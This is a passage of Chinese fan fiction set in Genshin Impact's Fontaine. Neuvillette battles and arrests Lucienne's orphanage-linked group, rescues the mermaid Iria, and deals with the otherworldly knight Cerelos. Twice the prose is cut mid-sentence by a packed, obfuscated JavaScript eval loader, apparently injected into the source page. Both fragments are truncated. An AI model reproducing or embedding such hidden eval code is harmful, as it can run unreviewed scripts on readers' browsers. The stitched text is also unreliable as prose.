“在我像个皮球,被枫丹各个部门以‘你这种情况,不归我们管理’这句话为推辞踢来踢去的时候,房子被住建部门收了回去,他们害怕我闹,不由分说把我丢到了灰河的一家私人开的流浪儿童管理机构。” “你知道这家流浪儿童管理机构……” 讲到这里,久世浪行拉了他一把,制止了特诺法兰继续说下去。 特诺法兰忍了又忍,握拳狠狠往桌子上,发泄似地砸了一下,重新坐下。 只是这次,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们找的医师,是从至冬来的人吗?” “是。”久世浪行没有任何隐瞒的意思。 “这一点,至冬做得比枫丹好过百倍不止!多托雷先生是至冬官方,也就是愚人众的执行官,负责医药方面的工作。在至冬,除了有阿蕾奇诺女士管理的官方孤儿院,还有多托雷先生这样的天才医生,帮助阿蕾奇诺女士救助生病的孤儿。” “你找阿蕾奇诺谈过这件事吗?”那维莱特又问。 久世浪行道:“没有,阿蕾奇诺女士的脾气很古怪,多托雷先生带我去见过,没说两句话我们就被她赶出来了。而且我们原本就有智源孤儿院,不需要、也不想把孩子送去壁炉之家。” 那维莱特摇了摇头,没在多说什么。 原以为的罪大恶极的两个恶人,臭味相同,双方合作,没想到竟是博士哄骗了久世浪行。 “那维莱特大人,你还没有回答我,我们错了吗?” “我的回答,没有意义。如果我没猜错……”那维莱特瞥向戴着面具的特诺法兰,“你们六位小的时候,也曾受过欺辱,那时候,没有人强行夺走你们的生命。而你们靠自己撑下来了,并且现在身居要职。” “法是一个标准,一种度量。法所不至之处,可以提议完善修改,水神每天都在会见子民,沫芒宫入口处,也长年有负责收集子民意见的工作人员……” 那维莱特看着露西恩和久世浪行的表情。 “罢了,现在说什么都晚了。” “橡皮球杀人案确实证据不足,但你们绑架了逐影庭的美露莘,这个案子,证据确凿。” 闻言,圆桌对面的三人匆忙起身,亮出了武器。 露西恩嗤笑一声,“那维莱特大人,我知道你是水神的眷属,实力不俗。” “但我们如今可是一对三。” 27.Chapter 27 7.6 Saturday 下午向阳 那维莱特低低叹了一声,曲臂一划,脚底水流涌动,接着左手翻腕掌心向上,淡蓝色的古老圆形符文浮现,源源不断的水流自他的五指生出,在半空汇合成一颗深蓝的水珠。 “那维莱特大人……” 露西恩一愣,想说的话生生断在了口中,牙齿紧紧咬着嘴唇,像是在责罚她下意识脱口而出的称呼。 “你小心了!” 下一刻,她带着些许恼羞成怒,运起水元素力,化作大剑,双手握着高呵一声,直直冲了过去。 特诺法兰召出火枪,甩了一个干净的枪花,紧随其后。久世浪行则是弯弓搭箭,暗含紫色雷芒的箭尖对着那维莱特虎视眈眈。 那维莱特侧身闪过三人的第一波攻势,飘在掌心的源水之滴岿然不动。 他们架势摆得十足,对元素力的掌控也算得上人类当众的翘楚。但无论是从行招的身法,还是对武器使用的熟练程度上来看,三人都鲜少训练,战斗经验严重匮乏。 走过两势,只见那维莱特反手一甩,源水之滴以迅雷不及掩耳之势一分为三,击中三人胸口。 “那维莱特,没想到你光躲得快,攻击却是这般软绵绵,外强中干的废物样。”特诺法兰指着胸口衣服上很明显颜色比周围更深,一看就是被水打湿了一块的地方,挑眉嘲道。 那维莱特没有理他,而是微微回头,看看他刚刚挪动位置,护在身后方泡泡。 小人鱼还在里面,也不知道它有没有被方才舞刀弄枪的暴力场景吓到。 露西恩扛着大剑,见那维莱特在他们生死之战的时候,还有心思分神,像是完全没把他们放在眼里,握着剑柄的双手绞得死死的,心中不由怒火沸腾。 她与久世浪行和特诺法兰对视了一眼,左手突然冒出一股黑灰色的邪风,包裹在大剑之上,给水大剑附魔了风元素力。 只见露西恩先一个冲刺后高高跳起,抬剑过头。特诺法兰一个侧闪,到那维莱特身后,锋利的枪尖对准那维莱特的脊梁。两人一前一后,从两个方向封住了那维莱特的去路。同时,久世浪行,一弓撘四箭,三秒之内连发两次,一共八只箭,分别从左右两侧,堵死了那维莱特。 三人合力一击,势必将那维莱特困在原地,无论他避往那个方向,都会至少被其中一个人的攻击射中。 然而,令三人没想到的是,那维莱特他根本没有躲闪的意思。面对他们的合击,那维莱特竟神态自若地站在原地。 露西恩下意识觉得不对劲,猛然想到那维莱特之前打在他们身上软弱无力地一击,直觉有诈,急急厉声道:“不好!快退!!!” 但为时已晚,三个直径两米的水球凭空从他们身体周围出现,整整齐齐一口将三人吞了进去。 这个水球,和伊芮娅呆得还不太一样,那维莱特考虑到他们三个都是人类,不能像小人鱼可以在水里自由呼吸。所以他特别贴心地,只是用水圈了一个球形的外壁,里头还是空气,甚至在外壁上留了数十个肉眼难以看见,但是空气可以自由流通的气孔。 虽然水球两米的直径是有点窄,底部还是弧形,不好落脚站立,但好歹是一对一的豪华单人间新款水牢。 “那维莱特!!!”特诺法兰气得目眦欲裂,操纵着元素力不断攻击着水球内壁,发泄似地敲敲打打了四五分钟,可惜没有产生一丁点的作用。 见状,露西恩收起了武器,低下头,垂落的发丝挡住狰狞的面色,只几秒,就笑盈盈地重新抬起头,“那维莱特,事到如今,我们本不想与你为敌的。” 那维莱特顺着声音看了过来。 露西恩抱着手,气定神闲地继续说道:“我们一开始只是绑架美露莘,没有伤害它,便正是这个原因。” “用翠斯塔和源水之滴来要挟我放你们离去吗?”那维莱特淡淡道。 “要挟?”露西恩摇摇头,背过手,悄悄捏了一个诀,脸上却笑得十分真诚,“话别说得那么难听,那维莱特……大人,我们明明只是想与你做一个互利双方的交换。” 那维莱特冷冷回道:“你们成立的组织和多年来的所作所为,已经严重影响到了枫丹的正常运转,造成极其恶劣的社会影响。” “哎~”露西恩挽叹一声,幽幽道,“既然如此,你就别怪我心狠了。” 话落,她手从身后滑到胸前,指尖对准斜前方的黑布,低呵一“破”字。 随即遮挡在黑布下面的墨色玄铁锁链疯狂抖动,暴动不止。 那维莱特立掌一手刀划下,一道水刃破空而去。 水刃极其锋利,说是吹发断丝也毫不夸张,它刚一碰到黑布,就轻轻松松将黑布割成了两半,然后卡在了锁链上,难以向前推进,滋啦出一阵星星点点的火花。 黑布之下,三个被束缚在里面的“东西”也渐露真貌。 露西恩的视线死死粘在那维莱特的身上,眼神里充盈着五分期待,五分得逞。 终于……到她施展了。 这间小屋,是他们的秘密基地。得益于智源孤儿院的明智决定——与多托雷先生合作共建。 多托雷先生帮助他们在此地布设好阵法,而后又特意给了这一条施加了“祝福”的锁链。 就在她满怀期冀的目光里,说显眼吧倒也没有,说存在极低到无也不尽然的泡泡,位居在她视野正中位置。 到底是隔了一层水壁,小人鱼十分安心,对身后投来若有若无的目光并不在意。 怎么说都是同甘共苦,过了命的交情,伊芮娅跟着那维莱特从一进来,心里就挂着塞勒洛斯。这时候,它咕噜咕噜转的小眼睛可尖了,一打眼就看见黑布掉落后,被锁链绑在中间凳子上的塞勒洛斯。 伊芮娅激动地冲着他挥舞起小爪子。过了片刻,小人鱼才后知后觉反应过来他看不见泡泡里面。于是它拍了拍球壁,特别轻地叫了几声,想提醒那维莱特注意水刃的力度,收敛一下水刃,可别伤了他。 它声音极轻,可自始至终都在暗自留意着那维莱特的露西恩,却没有错过这一点微小的动静。 她眯了眯眼,想到,好像从这个月开始,那维莱特身边总是飘着这么一个球。 之前是个蓝色的球,被她想办法弄来了,研究半天没搞明白是个什么玩意,而现在,飘着的是个半透明的球。 球……球…… 蓦然,露西恩的目光落在困住自己的水球上,脑子里飞快地划过一抹灵感。 两个都是球,只是一个大一个小,莫非那维莱特身边那个,里面也是装了什么活物,才能发出如此类人声的动静。 火星子飞出的光照得屋内亮堂堂,露西恩一旁的特诺法兰终于是停下了攻击水球内壁的手,喘着粗气,嘲笑道:“忒,这可是多托雷先生带来的锁链,哪是这么轻易……” 可怜他一句话都还没说完,“咔”一下,锁链应声而断。 特诺法兰:“???” 从战斗开始,就始终没什么存在感地久世浪行,面色陡黑。 早已打好腹稿,准备了满肚子用翠斯塔和蓝球威胁那维莱特的露西恩亦是失言,陷入了沉默。 那维莱特深得水神的信赖,稳坐最高审判官的席位五百余年。露西恩从未低估那维莱特,但今天他所展现出的实力,比她们预想之中的,还要强上数倍。 并且,他只用了一招平平无奇的水刃,就轻松破除了多托雷先生研发出来的锁链,看那副游刃有余的模样,这些绝对不是他的全部实力。 想到这里,露西恩的心里渐渐生出几分后悔,就如细密的蚕丝一般,慢慢缠绕,织成一张密不透风的网,死死绞住整颗鲜红色的心脏。 他们,是不是不应该对上那维莱特。 霍然,露西恩捂住胸口,手上下了死劲,想把她疯狂跳动的心脏给强行扼制住。 不,她还有他! 他们不行,他们的元素力敌不过那维莱特,但他一定可以! 他是异世之人。 他们之中最强的奥利维尔之前与他切磋过,他可以一剑直指奥利维尔的咽喉要害,他的实力,毋庸置疑。 他是她最后的底牌,他一定可以! 露西恩目带期冀,望向待烟尘散去,在视野中渐渐明晰的三把椅子。 她与塞勒洛斯对视了一眼,手上不断冲着他比划。 抓住翠斯塔!用她去威胁那维莱特! 塞勒洛斯微微摇头,表示自己不做这种事。 露西恩复又比划,只是这次,比起先前,神情和动作中,都隐隐带有些许可怜与恳求的意味。 塞勒洛斯望着她,手紧了紧,侧目扫过一旁的翠斯塔,又很快将目光收了回来,看了露西恩一眼后偏头避开她的视线,显得十分犹豫不决。 片刻后,露西恩没等到塞勒洛斯的行动,却是等来了那维莱特的一句:“多谢。” 关在水球里的三人组乍听这话,一时都有些摸不着头脑,扭头对视了一眼。 下一刻,三人看着眼前的情形,齐齐傻了眼。 “咕噜咕噜~”几声过后,解开铁链束缚的“翠斯塔”和“小蓝球”飘到那维莱特身边,以一种奇怪的姿势蹭了蹭他的手背。 等那维莱特微笑着,抬手揉了揉它们后,“翠斯塔”和“小蓝球”摇身一变,化作了两只浊水幻灵。 最沉不住气的特诺法兰咋咋唬唬惊呼道:“美露莘竟然是浊水幻灵变的?!!那维莱特你好大的胆子,居然指示污秽的浊水幻灵变成美露莘混到人类社会,你简直不可理喻,罔顾枫丹人民对你的信任!” “咕嘟咕嘟~” 一只调皮的浊水幻灵晃悠到特诺法兰面前,咧开嘴,碧蓝色的长舌头伸出来,贴着水球的球壁甩了甩。 “略略略~” 特诺法兰被气得七窍生烟,竖着根手指,“你你你……”了大半天。 “好了。”那维莱特看不下去了,出言制止,“这次多谢你们,这里的事情估计还要处理一会,你们离家数日,族中长辈难免挂怀,先回去吧。” 闻言,静默地待在那维莱特左侧的那只浊水幻灵三两下闪到捣蛋鬼后面,变化出椭圆形的小翅膀“手”,“啪”一下,打了捣蛋鬼一脑壳。 而后拎起遭受重创,头晕眼花、迷迷糊糊捣蛋鬼,拖着就往进入屋子的小水潭飘过去。 没入水潭之前,他还不忘伸手和那维莱特告别,“咕噜咕噜~” 那维莱特扬着礼貌的笑容,轻轻点了点头,目送他们离去。 “咿呀~噻噻……”伊芮娅看浊水幻灵走了,赶忙出声,提醒那维莱特别把塞勒洛斯给忘了。 那维莱特轻轻“嗯”了一声,转眸望向锁链断开,却还背挺得笔直,端坐在椅子上没有任何动作的塞勒洛斯。 他身上穿着一身亮面不知道什么材质的盔甲,腰悬长剑,配套的头盔静静地放在他的脚边。 他头低垂着,视线像是停留在脚尖,宛若一尊敲响丧声的肃穆坐钟,又好似潜伏在黑暗深处,耐心等待主人命令的藏獒。 总而言之,他给那维莱特的感觉很奇怪。他身上有一种莫名的气质,或者说是某种精神信仰铸就而出的气度,使他看上去与枫丹,甚至与整个提瓦特的七国原驻子民相比,都各位特殊,充满了格格不入之感。 “塞勒洛斯先生。”那维莱特秉持礼节,同他打了个招呼。 塞勒洛斯慢慢抬起头,勾唇,英俊的面孔上漾出一抹苦笑,“那维莱特先生,数日未见,别来无恙。” “你们认识?”久世浪行开口插话道,“也是。看来那维莱特大人很早就找到了这里,救出了美露莘和那个不知道是什么的蓝色球体,而后用浊水幻灵的拟态替换了她们。” “可怜我们竟无一人发现识破。春子,我们输得不冤啊。”久世浪行长叹一声,眼中没了光彩。 “不。”露西恩咬紧牙关,手一挥,“塞勒洛斯,我命令你,杀了那维莱特,救我们出去。” 塞勒洛斯看了她一点,左手搭上了剑柄,又很快放了开。 “塞勒洛斯?” “塞勒洛斯!你傻愣着干什么!这是命令!” 终于,在露西恩发狂的怒吼声中,塞勒洛斯机械性地慢慢起身,握住剑柄,将长剑抽出来了一截。 “抱歉,那维莱特先生。”他低声道。 那维莱特什么都没有说,抬手,比了一个“请”的姿势。 塞勒洛斯左手抽出长剑,与右手合握住剑柄,将长剑立在身前。 见他用剑,那维莱特也幻化出一柄水剑浮在身侧。 塞勒洛斯:“那维莱特先生,吾剑乃家传五代宝剑,名为梅尔加斯顿,其剑身秀颖修长,通体莹白璀璨。剑鞘为紫藤木制,镶嵌七七四十九枚金璨黄钻,是谓杀器不露血腥,凶刃不透锋芒。” 那维莱特定睛细观片刻,问道:“看上去,像是把女剑?” “是的。”塞勒洛斯点点头,“先祖正是以女子之身,获封圣殿骑士,为日不落帝国的第一位女大公爵。” 顿了顿,他手腕一转,竖起剑锋,“看您前些日子与方才的战斗,据我观察,您偏向术法咒师一类,应擅长远程攻击一类,不善应对剑士的近身战斗。所以……请您当心了。” 语罢,塞勒洛斯身形暴动,以肉眼难以分辨的极快速度挥剑而出。正如他方才所言,他速度见长,那维莱特一时难以感知到他出剑的方向。 所幸,那维莱特反应及时,在经过粗略的判断之后即刻凝水成盾,挡下塞勒洛斯刺向他胸口位置的第一剑。 塞勒洛斯的力气极大,剑盾交锋之间,那维莱特被他震退了一步。 而塞勒洛斯则后退了两步。 高手往往都是一招便可分高下。 那维莱特注视着身前水盾上的黑色裂纹,不由拧起了眉头,他看不透塞勒洛斯的招式,方才地一击,里面暗含提瓦特元素力以外的东西。 难道塞勒洛斯也是异世的降临者? 而塞勒洛斯则是低头看了看自己手里握着的长剑,望着他尽力通过抓握的动作遏制,却还在不断发麻颤抖的双手,自嘲般轻笑了一声。 接着,他反手将长剑向下一掷,插在地里,扭头对露西恩说道:“夫人,我打不过那维莱特先生,您的要求,恕我无能为力。” 他的语气很淡,但不知怎么,那维莱特从里面听到了浓浓的愧疚与无力感。 露西恩一怔,随后暴怒,呵斥道:“塞勒洛斯!别忘了你对我发下的誓言!” “是我救了你,给你治疗伤势,又给了无家可归的你一处容身之所!你自己说的,‘救命之恩,能力之内,任由差遣。’这就是你口口声声说奉为圭臬的‘骑士精神’吗?我养了你三年!这三年,你有帮我做过一件事吗?” “抱歉,夫人。”塞勒洛斯闭上双眼,单膝跪下,头垂得极低,“您要我做的事,我……真的做不来。” “救命之恩,与三年收留之情,是我……无以回报。我将以……” “好了,春子。”久世浪行又一次突然开口,打断了塞勒洛斯,说道,“塞勒洛斯先生,平日里都是春子照顾你,我与你之间的交流不多。我且问你,你与我们相处了三年,你难道是真的不知道我们向往的、追求的、崇尚的究竟是什么吗?” “我原以为,我们已经算是家人了。” 在良久的沉默之后,塞勒洛斯缓缓起身,重新握住长剑,“我明白你的意思了,老爷。” “那维莱特先生。论实力,我远不及你,但如果只是救人,那我还是有相当的把握。” 话落,塞勒洛斯挥剑,划破了自己的手腕,暗紫色的不同于正常人鲜红色的血液如被释放的野兽一般,从“一”字型的伤口疯狂涌出,滴落在地上的瞬间诡异地变成了泛着淡淡荧光的浅紫色。 紫色,颜色还会不断变化的血以堪比山间高落差瀑布的速度在地上像是有自主意识一般爬动着,很快就将困住露西恩三人的水球圈了起来。 随着血液的大量流失,塞勒洛斯的脸色逐渐惨白。 那维莱特心中一思量,笃定露西恩一行人逃不掉,再加上对塞勒洛斯的来历有所怀疑,想看看他的招式,便仅是象征性地握着手杖,随意抬手挥了一下,丢了个小水球过去。 塞勒洛斯举剑格挡住飞来的水球,微愣,略感诧异水球轻巧的力度,心中忽生怀疑,唇齿张了张,然而不等他向那维莱特询问,他伙同露西恩三人,已经消失在了原地。 此时,地上血迹也已经从淡紫色,完全转变成了透明色,在里面的荧光也不再闪烁,若不细看,还以为这些血液都尽数消失了。 那维莱特释放出全部的感知力,覆照了方圆五公里的地界,没有感知到他们的气息,又核查过诡异小屋里确实没有活着的生灵之后,将小人鱼抱了出来。 “噻塞嘛呀?”伊芮娅歪着头,想不通塞勒洛斯的所作所为。 相处时间久了,如今那维莱特听小人鱼说话,就仿佛自带耳麦翻译一样。 「塞勒洛斯为什么要救那三个坏人?」 他回道:“因为露西恩他们救了塞勒洛斯。” “不呀~坏银就是坏银,好有嗦图。” 「没有呀,坏人无论做什么事,都是坏人,偶尔做了那么一两件善事、好事,绝对不会是良心发现,一定是暗怀鬼胎,有所图谋。」 那维莱特从与塞勒洛斯见面的观感判断,塞勒洛斯是一位可以称得上正直,有爱心,且格外忠心之人。 而且他称呼露西恩与久世浪行为夫人老爷,就像是枫丹五百年前的改革之前,旧贵族家中的仆役称呼自家主人一般。 在当今社会,这严重违反了修改后的枫丹现行法律中,有关人人平等大前提的共有人权约定。 塞勒洛斯的身体血液、使用招式,乃至称呼用语,都不像是提瓦特之人。况且,那维莱特总感觉伊芮娅对塞勒洛斯,也有一种莫名的亲近。小人鱼自己可能都没有发现,平日它对什么都表现出一副兴致缺缺的模样,唯独塞勒洛斯,严格上说,与它只有一面之缘,却让它几度提起。 同样地,塞勒洛斯对伊芮娅也颇为关照。若说之前那次是他出于善心与怜悯,帮与他立场不同的伊芮娅逃跑,那么方才,他挥剑时刻意偏向左边,避开泡泡当时所在的右侧,该作何解释。 从他佩剑的方向与拔剑的姿势可以看出来,明明他惯用的是左手,提肘从右上挥砍至左下才是最顺手顺力的选择。可他却从左侧竖砍一刀,不像是一个身经百战的战士,更不像一个由五代家族学识堆积而出的剑士。 或许,降临者与降临者之间,存在着什么不为外人所知的内在联系? 此事,就有待之后慢慢验证了。 现在,还是先把以久世浪行为首的一伙人,抓捕归案,待细查他们的罪责之后审判入狱。 那维莱特款步走出诡异小屋,待离屋子有个五六米的时候,他转身抬手,强劲地水流轰出。 虽说伊芮娅见过,但此刻它再看一次,比自己全力冒出来的“鱼王炮mini版”,强了起码百倍的“龙王炮”,还是感觉不可思议,好生羡慕地瞪着眼睛,舍不得眨巴一下。 此地元素力混乱,那维莱特担心日后会被其他有心人发现给占了去,于是在“龙王炮”在摧毁木建小屋的同时,亦是将“博士”留下的用来混淆与隐匿气息的阵法轰了个粉碎。 处理完后,他以水探路,很快辨认出这一小块地方,在整个灰河所处的位置,沿着废弃的地下河道,很快离开了灰河。 他出来的地方紧临着海面。 远处,斑驳绚烂的、五光十色的晚霞正托着一轮金闪闪的落日一点一点往下坠。海水在这片绵延数里的云彩下面,迎着日的余晖,宛若一块柔顺的金纱。浪头顺着风,有节奏地翻滚着,一个接一个地扑腾到岸上,激起浪花,给下午被烈日烧干了水分的空气,重新涂抹上湿漉漉的水汽。 时间过得真快,一晃眼,又到晚饭的点儿了。 那维莱特将欲提步之际,脑海里忽然闪过芙宁娜的指责。 他抬眼看了看天,又扭头看了看泡泡里的小人鱼。 今日事,今日毕。这个案子时间拖得太久了,久世浪行于六月五日案发,而今已是七月六日。露西恩用橡皮球杀人虽是七月一日才发生的事,但他们是一个组织,两个案子需要合并处理,这么算下来,还是抓紧时间,尽快解决完最好。 那维莱特晚上打定主意了要加班,但他不想小人鱼跟着自己折腾,便带着几分商量的口味,问道:“伊芮娅,我先把你送回沫芒宫,和芙宁娜一起用晚膳,等我处理完这边的事情,再过去接你,可以吗?” 伊芮娅不太想答应,它一是想跟着那维莱特,二是想去找塞勒洛斯。 但它感觉自己跟在那维莱特身边,他老是需要分心照顾自己,而且战斗的时候,好像施展不开,自己的肚子也确实饿了。 于是乎,它揉着空扁扁的肚子,点头同意了那维莱特的建议。 那维莱特沿着海岸,仅仅花了十分钟不到的时间,就带着小人鱼回到了沫芒宫。 一龙一鱼正正好在门口遇上了处理完公事,下班往外走的水神芙宁娜。 今天是星期六,除去沫芒宫少数职位,比如最高审判官。又比如说周末是枫丹规定的休息日,既是枫丹人法定的休息时间,也是需要接见子民的水神最忙的时候。 这会儿,她正哼着小曲儿,甩着时不时充当一下手杖的西洋剑,一闭眼一睁眼的功夫,就看见那维莱特杵在了自己面前。 对于芙宁娜来说,一回生二回熟,她一见那维莱特,就知道他这是又打算把小鱼鱼给自己带着。 对此,她倒乐得欢喜,二话没说,就把泡泡接了过来,掉头重新回了沫芒宫。 晚饭什么的,小鱼鱼在外面还不好露面,又不能她吃,让小鱼鱼在泡泡里看着。与其她过去打包两份再提着回来,不如让德波大饭店外送过来,而且马上天就黑了,万一小鱼鱼害怕怎么办。 安置好了伊芮娅,那维莱特索性就站在原地,起阵放出感知力,探查起了几人的行踪。 他之前已经在奥利维尔身上留下了气息,刚刚在诡异小屋中,露西恩他们三人又都中了自己的攻击,也沾染了水的气息。 现在枫丹全面封禁,久世浪行他们出不去,两处内有玄机的巢穴,即自带古老机关的智源孤儿院和有“博士”手笔的诡异小屋,也都被查封破坏。 并且在已知且在外活动的久世浪行、露西恩、特诺法兰与奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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芙宁娜好不容易侧着身子跨过一堆杂物,刚来到办公桌前面,猫着身子伸长了手在够掉在桌下的菜单,就听伊芮娅极其迫切地叫了一声。 “伊芮娅,稍等,我马上就来!”她高声回道。 等她过了两三分钟,两个指头揪着落满灰的菜单,从办公区绕出来的时候,只见反扣在茶几上的杯子没了,连带着坐在上面等她的小人鱼,也消失不见了。 芙宁娜赫然大惊失色,拔腿就往外冲,想去找那维莱特。 而她,刚拉开休息室的大门,就迎头撞在了那维莱特身上。 芙宁娜顾不及发红的额头,一把抓住他,异色的双瞳之中满是慌乱,“那维莱特!伊芮娅不见了!” 那维莱特手搭上她的肩膀,阴沉着脸,微微颔首道:“我已经知道了。” 随后,他轻轻拨开芙宁娜,侧身进面,同时将她护在身后,对着空无一人的休息室,缓声说道:“我已经用水结界封锁了整座沫芒宫,你们无须再藏,出来吧。” 正所谓:最危险的地方,也就是最安全的地方。 方才,他站在沫芒宫外,追踪之前在奥利维尔身上留下的气息。他先将视野投向了枫丹的几个港口,没有找到踪迹。而后他考虑到他们会不会去救被捕的同伴,便将视线转到梅洛彼得堡,也是没有收获。之后那维莱特又一连转了三四个地方,均是一无所获。 最后,在他打算探查西北山地时,目光从枫丹廷上方划过,却意外捕捉到了奥利维尔身上的气息,紧接着,印证了他的猜想,久世浪行、露西恩和特诺法兰的气息也随之出现。 四个人都在枫丹廷,且都聚在沫芒宫! 这一发现,让那维莱特顿感不妙,立马进了沫芒宫去找芙宁娜。 可,他终究是来晚了一步。 伊芮娅已经被他们给绑了。 “那维莱特大人,我说过的,我是想与你做一个交易。”露西恩从窗帘后面徐徐走了出来。 “为何,我们就不能各退一步呢?” 说完,她藏在背后的手,慢慢抬起,还左右晃了晃,给那维莱特和芙宁娜充分展示起被她攥在手里,正在奋力挣扎的伊芮娅。 久世浪行三人还有塞勒洛斯,一道跟了出来。 “哎,我先前抓去的蓝球里面,便是你吧。”露西恩笑了笑,“可惜了,让你给跑了。也怪我们,在屋子里留了一个洞口,本来是用驯养好的维护机关·态势控制者(枫丹的机械鱼),同在梅洛彼得堡工作,出行受限的布莱特通讯使用的。没想到,竟被这条似人非人,似鱼非鱼的东西找到,钻了空子。” “有道是:风水轮回转。头回逃了又如何,现在不还是被我给逮住了。” 说着,露西恩手指用力收紧了些,捏得伊芮娅直叫唤。 在她身后,站在他们最后面,没什么存在感的塞勒洛斯蹙起了眉心。 见那维莱特和芙宁娜听着小人鱼的惨叫声,都沉着脸,却一个字没说,露西恩蛮无所谓地一面笑得温柔,一面狠狠甩了几下手。 伊芮娅贸然受到大力颠簸,肚子里胃液翻滚,“哇”一声,吐出些黄水来。 “啧啧啧,真惨啊。”露西恩好心地停了动作,空着的手揪着它的鱼尾,一下子将小人鱼倒拎着,又晃了晃。 “水神大人。” 那维莱特一直不松口,露西恩知晓他的刻板,没心情同他硬刚下去,转而打起了芙宁娜的注意。 在世人面前,水神虽然大多时候不着调,却也是一个尽职尽责、关爱子民的神。 大部分时候,也比永远板着一张脸的那维莱特,更好说话一点。 “我们只是想离开枫丹而已。”顿了顿,露西恩继续补充道,“我保证,我们此次离开,日后再也不会回来。” 芙宁娜愣住了,直觉不能答应,但看伊芮娅那痛苦的模样,十分不忍,几番思量与犹豫纠结过后,伸手揪了揪那维莱特的衣摆,声音压得极低。 “要不然,我们答应吧。我不是说真放他们走,反正港口那些你不是封住了么,我们先哄骗她把小鱼鱼……” 那维莱特抬手,打断了她,接着直视露西恩,说道:“一个人,应该知道自己的言行举止受到法律的约束。你们违反了法律,必须接受审判,得到相应的惩罚。” 闻言,露西恩原本只是微微扬起的嘴角,突然弯成了一道残月。 “不愧是最高审判官,不愧是公平与正义的化身。那维莱特大人,我可以理解成为,我们谈崩了吗?” 那维莱特颔首回应。 露西恩望着他,心里明白,他们求生的希望,已经不复存在。 她在诡异小屋里发现那维莱特身边飘着的泡泡不对劲,在借塞勒洛斯的力量脱身之后,她说服了其他三人,压下了这枚孤注一掷的筹码。 值得庆幸的是,她猜对了,但她真的没想到,那维莱特当真会为了法律那种不存在的一纸空文,罔顾手里这条不知道是什么东西的性命,咬死不松口。 明明,她们的要求不过分啊。 露西恩猛地合上眼,重新抓住伊芮娅,手上下了狠劲。 “如此一来,水神大人,你就不要怪我狠心了哦。我们走不了,总得拉……” 电光火石之间,那维莱特和塞勒洛斯先后出手。 那维莱特顾及法条,只是想抢下小人鱼,用水弹射到了露西恩手臂上的麻筋,然后接住了她松手掉落下来的伊芮娅。 而塞勒洛斯,下手却是狠极,直接挥剑斩断了露西恩的右臂。 露西恩后跌两步,倒靠在久世浪行怀里,捂着断臂止血。 此时此刻,失臂的剧痛甚至不抵被背叛的愤怒。 “塞勒洛斯!你个没良心的疯狗!和福卡达一般模样,通通都是养不熟,反咬主人的贱种!” “呯”一下,塞勒洛斯长剑掉在地上。 他的脸色苍白的,看上去比失血断臂的露西恩还要吓人。 “对不起……夫人……我……我……” 塞勒洛斯看了看地上染血的剑,又看了看自己的手,狠狠甩了自己一巴掌,继而仓皇地捡起了长剑,转身对准那维莱特。 “我……对不起……” 那维莱特没理会他们这边,细细托着小人鱼检查过后,将它放到芙宁娜怀里,而后抬眼看着手足无措的塞勒洛斯,身形一闪,反手将他击晕倒地,接着面无表情的收拾了露西恩一众,收缴了四人的神之眼,召来法条机关,将她们拖下去关进牢房,等待庭审。 三两句将后续事情交代完,那维莱特以最快的速度,来到隔壁水神的会客室里。 “伊芮娅怎么样了。” “咿呀~”坐在芙宁娜手心的小人鱼翘了翘尾巴,表示自己没有事了。 芙宁娜蹭了蹭它的小脸,回道:“看小鱼鱼的状态还好,应当是你出手及时,小鱼鱼没受什么伤,刚刚吐,我猜是因为幼崽本身就肠胃不好,晚上到点了没吃东西,被露西恩甩的时候,胃酸反上来了。” “我刚找了些点心给它垫了垫,应该没有什么大问题。不过保险起见,你还是带它去找希格雯,让专业的医生检查一下。” 那维莱特点头说“好”,从芙宁娜手里抱起伊芮娅,就往梅洛彼得堡而去。 等到了地儿,希格雯给小人鱼做完一整套检查,那维莱特又带着它重新返回沫芒宫。 待他将匐在掌心,尚在回家路上,就进入了梦乡的伊芮娅放到贝壳床里,已是深夜。 隔天一早,那维莱特没有吵醒伊芮娅,找了翠斯塔和赛德娜两位美露莘,过来帮忙照顾它,继而出门,整理这桩案子的案件卷宗去了。 此外,他还要忙着从下面递上来的名单里,酌定露西恩、特诺法兰和奥利维尔三人职位的继任者,尤其是沫芒宫档案馆馆长的空位,十分关键。 初步拟定人选之后,除去那维莱特亲自盯着其他部门,推进案件流程之外。他还请了水神芙宁娜帮忙,守在档案馆里,以神明的注视,看着新上任的馆长带着下属,将整个馆内的档案重新筛查了一遍。 过了十日,新任馆长不负所托,找出数百份疑似被动过手脚的档案。同时,还在弗米莉的帮助下,找到弗蕾丝留在档案馆里的一些记录,从而找出露西恩伪造档案的切实证据。 一连忙了小半个月,随着庭审谕示裁定枢机给出“有罪”的判决,露西恩一行四人被押入梅洛彼得堡中,那维莱特总算是将这个案子给处理完了。 他回到沫芒宫,敲响了一间休息客房的木门。 前些日子,随着露西恩一案证据的搜查补全工作结束,那维莱特发现,露西恩还真就没说错,她们当真是白养了塞勒洛斯三年。 她们组织干的事,塞勒洛斯是一件都没参与。 而且他是世界之外来的人,谕示裁定枢机没有办法给出判决,最后是那维莱特依照自身经验与法律条纹,给他定了个帮助罪犯逃脱未遂的罪名,在警备队拘留了十天。 刑期一满,他就被伊芮娅请来沫芒宫小住一段时日。 那维莱特考虑到翠斯塔、赛德娜和芙宁娜都有自己的工作要忙,不可能一直陪着伊芮娅,而大闲人一个,武力值也颇为出众的塞勒洛斯,就成了最好的陪护人选,便点头同意了。 而今,那维莱特总算是处理完了手头上的所有事务,可以腾出时间,短暂地把心思放在这半个月以来,指挥着塞勒洛斯带它把枫丹跑了个遍,已经玩疯了的小人鱼的……教育上了。 28.Chapter 28 7.21 Sunday 午间日清 “叩叩叩……” “咚咚咚……” “砰砰砰!!!” 那维莱特敲了半天门,没人应答。 那维莱特站在塞勒洛斯暂居的客房外,倍感无奈地揉了揉眉心。 大概一个小时之前,十点半左右,那维莱特听完书记官汇报的会议总结,又翻看过下午的日程表后,捎带问了句塞勒洛斯。 书记官十分肯定地明确答复道:“我方才在门口遇上了塞勒洛斯先生,与他一起进的沫芒宫。” 